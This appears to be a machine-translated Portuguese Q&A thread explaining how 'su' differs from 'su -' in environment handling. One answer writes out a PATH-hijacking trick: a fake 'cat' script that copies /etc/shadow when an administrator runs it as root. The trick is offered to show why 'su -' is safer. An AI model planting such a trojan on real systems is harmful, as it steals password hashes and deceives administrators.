Respostas:
su -
chama um shell de logon após alternar o usuário. Um shell de login redefine a maioria das variáveis de ambiente, fornecendo uma base limpa.
su
apenas alterna o usuário, fornecendo um shell normal com um ambiente quase igual ao do usuário antigo.
Imagine, você é um desenvolvedor de software com acesso normal de usuário a uma máquina e seu administrador ignorante simplesmente não lhe dará acesso root. Vamos (espero) enganá-lo.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Agora, você pergunta ao administrador por que não pode cat
o arquivo fictício na sua pasta pessoal, ele simplesmente não funciona!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Se o seu administrador não for inteligente ou um pouco preguiçoso, ele pode ir até sua mesa e tentar com seus poderes de superusuário:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Uau! Obrigado, super administrador!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Ele Ele.
Você talvez tenha notado que a $PATH
variável corrompida não foi redefinida. Isso não teria acontecido se o administrador o invocasse su -
.
umask
000 ou ele não funcionará.
su
arquivo dentro do PATH. Não é tão difícil imitar o comportamento do real su
. O super-usuário tem sido descuidada qualquer maneira :-)
su --
NÃO é o mesmo que su -
: --
diz a um manipulador de opções getopt (s) (ou similar) para parar de processar a linha de comando para obter mais opções (útil por exemplo, se o resto contiver nomes de arquivos que poderiam começar com um '-'). Ou seja, no "rm -i - -f": -f é então tratado como um argumento regular, por isso aqui como o nome do arquivo para rm -i
, e não como um additionnal -f
opção para o rm
comando. Então su --
é justo su
e não su -
! Assim, su --
seria tão inseguro para o exemplo (engraçado e instrutivo) de givan by wag. Use su -
.
su -
efetua o login completamente como root, enquanto su
faz com que você esteja fingindo ser root.
O exemplo mais óbvio disso ~
é o diretório inicial do root, se você usar su -
, mas o seu próprio diretório inicial, se o usar su
.
Dependendo do seu sistema, também pode significar diferenças no prompt PATH
ou no arquivo de histórico.
Portanto, se você faz parte de uma equipe que administra um sistema e seu colega lhe dá um comando para executar, você sabe que funcionará da mesma forma se os dois estiverem usando su -
, mas se os dois estiverem usando su
, poderá haver diferenças devido à sua diferentes configurações de shell.
Por outro lado, se você deseja executar um comando como root, mas usando sua própria configuração, talvez su
seja melhor para você.
Também não se esqueça sudo
, que tem uma -s
opção para iniciar um shell rodando como root. Obviamente, isso também tem regras diferentes e elas mudam dependendo da distribuição que você está usando.
.bashrc
ou /etc/bashrc
ou /etc/profile.d
scripts são configuração PATH
. Procure if [ $UID -eq 0 ]
ou algo assim.
$USER
por exemplo, permanece inalterado.
sudo su
?
Eu uso su - quando estou em um diretório como um usuário comum, mas quero mudar para o root e permanecer no mesmo diretório após a troca. Quando você usa su - ele alterna o usuário para root e também leva você para / root, que é o diretório inicial raiz.
/
ou o que quer que seja definido como o diretório inicial do root
A principal diferença é:
su - username
configura o ambiente do shell como se fosse um logon limpo como o usuário especificado, acessa e usa variáveis de ambiente de usuários especificadas,
su username
apenas inicia um shell com as configurações atuais do ambiente para o usuário especificado.
Se o nome de usuário não for especificado com su
e su -
, a conta raiz será implícita como padrão.
su --
é o mesmo quesu
.